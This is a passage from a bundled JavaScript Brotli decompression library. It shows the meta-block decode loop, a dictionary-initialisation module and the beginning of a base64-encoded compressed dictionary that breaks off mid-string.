var hgroup = [new HuffmanTreeGroup(0, 0), new HuffmanTreeGroup(0, 0), new HuffmanTreeGroup(0, 0)];
var block_type_trees;
var block_len_trees;
var br;
/* We need the slack region for the following reasons:
- always doing two 8-byte copies for fast backward copying
- transforms
- flushing the input ringbuffer when decoding uncompressed blocks */
var kRingBufferWriteAheadSlack = 128 + BrotliBitReader.READ_SIZE;
br = new BrotliBitReader(input);
/* Decode window size. */
window_bits = DecodeWindowBits(br);
max_backward_distance = (1 << window_bits) - 16;
ringbuffer_size = 1 << window_bits;
ringbuffer_mask = ringbuffer_size - 1;
ringbuffer = new Uint8Array(ringbuffer_size + kRingBufferWriteAheadSlack + BrotliDictionary.maxDictionaryWordLength);
ringbuffer_end = ringbuffer_size;
block_type_trees = [];
block_len_trees = [];
for (var x = 0; x < 3 * HUFFMAN_MAX_TABLE_SIZE; x++) {
block_type_trees[x] = new HuffmanCode(0, 0);
block_len_trees[x] = new HuffmanCode(0, 0);
}
while (!input_end) {
var meta_block_remaining_len = 0;
var is_uncompressed;
var block_length = [ 1 << 28, 1 << 28, 1 << 28 ];
var block_type = [ 0 ];
var num_block_types = [ 1, 1, 1 ];
var block_type_rb = [ 0, 1, 0, 1, 0, 1 ];
var block_type_rb_index = [ 0 ];
var distance_postfix_bits;
var num_direct_distance_codes;
var distance_postfix_mask;
var num_distance_codes;
var context_map = null;
var context_modes = null;
var num_literal_htrees;
var dist_context_map = null;
var num_dist_htrees;
var context_offset = 0;
var context_map_slice = null;
var literal_htree_index = 0;
var dist_context_offset = 0;
var dist_context_map_slice = null;
var dist_htree_index = 0;
var context_lookup_offset1 = 0;
var context_lookup_offset2 = 0;
var context_mode;
var htree_command;
for (i = 0; i < 3; ++i) {
hgroup[i].codes = null;
hgroup[i].htrees = null;
}
br.readMoreInput();
var _out = DecodeMetaBlockLength(br);
meta_block_remaining_len = _out.meta_block_length;
if (pos + meta_block_remaining_len > output.buffer.length) {
/* We need to grow the output buffer to fit the additional data. */
var tmp = new Uint8Array( pos + meta_block_remaining_len );
tmp.set( output.buffer );
output.buffer = tmp;
}
input_end = _out.input_end;
is_uncompressed = _out.is_uncompressed;
if (_out.is_metadata) {
JumpToByteBoundary(br);
for (; meta_block_remaining_len > 0; --meta_block_remaining_len) {
br.readMoreInput();
/* Read one byte and ignore it. */
br.readBits(8);
}
continue;
}
if (meta_block_remaining_len === 0) {
continue;
}
if (is_uncompressed) {
br.bit_pos_ = (br.bit_pos_ + 7) & ~7;
CopyUncompressedBlockToOutput(output, meta_block_remaining_len, pos,
ringbuffer, ringbuffer_mask, br);
pos += meta_block_remaining_len;
continue;
}
for (i = 0; i < 3; ++i) {
num_block_types[i] = DecodeVarLenUint8(br) + 1;
if (num_block_types[i] >= 2) {
ReadHuffmanCode(num_block_types[i] + 2, block_type_trees, i * HUFFMAN_MAX_TABLE_SIZE, br);
ReadHuffmanCode(kNumBlockLengthCodes, block_len_trees, i * HUFFMAN_MAX_TABLE_SIZE, br);
block_length[i] = ReadBlockLength(block_len_trees, i * HUFFMAN_MAX_TABLE_SIZE, br);
block_type_rb_index[i] = 1;
}
}
br.readMoreInput();
distance_postfix_bits = br.readBits(2);
num_direct_distance_codes = NUM_DISTANCE_SHORT_CODES + (br.readBits(4) << distance_postfix_bits);
distance_postfix_mask = (1 << distance_postfix_bits) - 1;
num_distance_codes = (num_direct_distance_codes + (48 << distance_postfix_bits));
context_modes = new Uint8Array(num_block_types[0]);
for (i = 0; i < num_block_types[0]; ++i) {
br.readMoreInput();
context_modes[i] = (br.readBits(2) << 1);
}
var _o1 = DecodeContextMap(num_block_types[0] << kLiteralContextBits, br);
num_literal_htrees = _o1.num_htrees;
context_map = _o1.context_map;
var _o2 = DecodeContextMap(num_block_types[2] << kDistanceContextBits, br);
num_dist_htrees = _o2.num_htrees;
dist_context_map = _o2.context_map;
hgroup[0] = new HuffmanTreeGroup(kNumLiteralCodes, num_literal_htrees);
hgroup[1] = new HuffmanTreeGroup(kNumInsertAndCopyCodes, num_block_types[1]);
hgroup[2] = new HuffmanTreeGroup(num_distance_codes, num_dist_htrees);
for (i = 0; i < 3; ++i) {
hgroup[i].decode(br);
}
context_map_slice = 0;
dist_context_map_slice = 0;
context_mode = context_modes[block_type[0]];
context_lookup_offset1 = Context.lookupOffsets[context_mode];
context_lookup_offset2 = Context.lookupOffsets[context_mode + 1];
htree_command = hgroup[1].htrees[0];
while (meta_block_remaining_len > 0) {
var cmd_code;
var range_idx;
var insert_code;
var copy_code;
var insert_length;
var copy_length;
var distance_code;
var distance;
var context;
var j;
var copy_dst;
br.readMoreInput();
if (block_length[1] === 0) {
DecodeBlockType(num_block_types[1],
block_type_trees, 1, block_type, block_type_rb,
block_type_rb_index, br);
block_length[1] = ReadBlockLength(block_len_trees, HUFFMAN_MAX_TABLE_SIZE, br);
htree_command = hgroup[1].htrees[block_type[1]];
}
--block_length[1];
cmd_code = ReadSymbol(hgroup[1].codes, htree_command, br);
range_idx = cmd_code >> 6;
if (range_idx >= 2) {
range_idx -= 2;
distance_code = -1;
} else {
distance_code = 0;
}
insert_code = Prefix.kInsertRangeLut[range_idx] + ((cmd_code >> 3) & 7);
copy_code = Prefix.kCopyRangeLut[range_idx] + (cmd_code & 7);
insert_length = Prefix.kInsertLengthPrefixCode[insert_code].offset +
br.readBits(Prefix.kInsertLengthPrefixCode[insert_code].nbits);
copy_length = Prefix.kCopyLengthPrefixCode[copy_code].offset +
br.readBits(Prefix.kCopyLengthPrefixCode[copy_code].nbits);
prev_byte1 = ringbuffer[pos-1 & ringbuffer_mask];
prev_byte2 = ringbuffer[pos-2 & ringbuffer_mask];
for (j = 0; j < insert_length; ++j) {
br.readMoreInput();
if (block_length[0] === 0) {
DecodeBlockType(num_block_types[0],
block_type_trees, 0, block_type, block_type_rb,
block_type_rb_index, br);
block_length[0] = ReadBlockLength(block_len_trees, 0, br);
context_offset = block_type[0] << kLiteralContextBits;
context_map_slice = context_offset;
context_mode = context_modes[block_type[0]];
context_lookup_offset1 = Context.lookupOffsets[context_mode];
context_lookup_offset2 = Context.lookupOffsets[context_mode + 1];
}
context = (Context.lookup[context_lookup_offset1 + prev_byte1] |
Context.lookup[context_lookup_offset2 + prev_byte2]);
literal_htree_index = context_map[context_map_slice + context];
--block_length[0];
prev_byte2 = prev_byte1;
prev_byte1 = ReadSymbol(hgroup[0].codes, hgroup[0].htrees[literal_htree_index], br);
ringbuffer[pos & ringbuffer_mask] = prev_byte1;
if ((pos & ringbuffer_mask) === ringbuffer_mask) {
output.write(ringbuffer, ringbuffer_size);
}
++pos;
}
meta_block_remaining_len -= insert_length;
if (meta_block_remaining_len <= 0) break;
if (distance_code < 0) {
var context;
br.readMoreInput();
if (block_length[2] === 0) {
DecodeBlockType(num_block_types[2],
block_type_trees, 2, block_type, block_type_rb,
block_type_rb_index, br);
block_length[2] = ReadBlockLength(block_len_trees, 2 * HUFFMAN_MAX_TABLE_SIZE, br);
dist_context_offset = block_type[2] << kDistanceContextBits;
dist_context_map_slice = dist_context_offset;
}
--block_length[2];
context = (copy_length > 4 ? 3 : copy_length - 2) & 0xff;
dist_htree_index = dist_context_map[dist_context_map_slice + context];
distance_code = ReadSymbol(hgroup[2].codes, hgroup[2].htrees[dist_htree_index], br);
if (distance_code >= num_direct_distance_codes) {
var nbits;
var postfix;
var offset;
distance_code -= num_direct_distance_codes;
postfix = distance_code & distance_postfix_mask;
distance_code >>= distance_postfix_bits;
nbits = (distance_code >> 1) + 1;
offset = ((2 + (distance_code & 1)) << nbits) - 4;
distance_code = num_direct_distance_codes +
((offset + br.readBits(nbits)) <<
distance_postfix_bits) + postfix;
}
}
/* Convert the distance code to the actual distance by possibly looking */
/* up past distnaces from the ringbuffer. */
distance = TranslateShortCodes(distance_code, dist_rb, dist_rb_idx);
if (distance < 0) {
throw new Error('[BrotliDecompress] invalid distance');
}
if (pos < max_backward_distance &&
max_distance !== max_backward_distance) {
max_distance = pos;
} else {
max_distance = max_backward_distance;
}
copy_dst = pos & ringbuffer_mask;
if (distance > max_distance) {
if (copy_length >= BrotliDictionary.minDictionaryWordLength &&
copy_length <= BrotliDictionary.maxDictionaryWordLength) {
var offset = BrotliDictionary.offsetsByLength[copy_length];
var word_id = distance - max_distance - 1;
var shift = BrotliDictionary.sizeBitsByLength[copy_length];
var mask = (1 << shift) - 1;
var word_idx = word_id & mask;
var transform_idx = word_id >> shift;
offset += word_idx * copy_length;
if (transform_idx < Transform.kNumTransforms) {
var len = Transform.transformDictionaryWord(ringbuffer, copy_dst, offset, copy_length, transform_idx);
copy_dst += len;
pos += len;
meta_block_remaining_len -= len;
if (copy_dst >= ringbuffer_end) {
output.write(ringbuffer, ringbuffer_size);
for (var _x = 0; _x < (copy_dst - ringbuffer_end); _x++)
ringbuffer[_x] = ringbuffer[ringbuffer_end + _x];
}
} else {
throw new Error("Invalid backward reference. pos: " + pos + " distance: " + distance +
" len: " + copy_length + " bytes left: " + meta_block_remaining_len);
}
} else {
throw new Error("Invalid backward reference. pos: " + pos + " distance: " + distance +
" len: " + copy_length + " bytes left: " + meta_block_remaining_len);
}
} else {
if (distance_code > 0) {
dist_rb[dist_rb_idx & 3] = distance;
++dist_rb_idx;
}
if (copy_length > meta_block_remaining_len) {
throw new Error("Invalid backward reference. pos: " + pos + " distance: " + distance +
" len: " + copy_length + " bytes left: " + meta_block_remaining_len);
}
for (j = 0; j < copy_length; ++j) {
ringbuffer[pos & ringbuffer_mask] = ringbuffer[(pos - distance) & ringbuffer_mask];
if ((pos & ringbuffer_mask) === ringbuffer_mask) {
output.write(ringbuffer, ringbuffer_size);
}
++pos;
--meta_block_remaining_len;
}
}
/* When we get here, we must have inserted at least one literal and */
/* made a copy of at least length two, therefore accessing the last 2 */
/* bytes is valid. */
prev_byte1 = ringbuffer[(pos - 1) & ringbuffer_mask];
prev_byte2 = ringbuffer[(pos - 2) & ringbuffer_mask];
}
/* Protect pos from overflow, wrap it around at every GB of input data */
pos &= 0x3fffffff;
}
output.write(ringbuffer, pos & ringbuffer_mask);
}
exports.BrotliDecompress = BrotliDecompress;
BrotliDictionary.init();
},{"./bit_reader":1,"./context":2,"./dictionary":6,"./huffman":7,"./prefix":9,"./streams":10,"./transform":11}],4:[function(require,module,exports){
var base64 = require('base64-js');
//var fs = require('fs');
/**
* The normal dictionary-data.js is quite large, which makes it
* unsuitable for browser usage. In order to make it smaller,
* we read dictionary.bin, which is a compressed version of
* the dictionary, and on initial load, Brotli decompresses
* it's own dictionary. 😜
*/
exports.init = function() {
var BrotliDecompressBuffer = require('./decode').BrotliDecompressBuffer;
var compressed = base64.toByteArray(require('./dictionary.bin.js'));
return BrotliDecompressBuffer(compressed);
};
},{"./decode":3,"./dictionary.bin.js":5,"base64-js":8}],5:[function(require,module,exports){
module.exports="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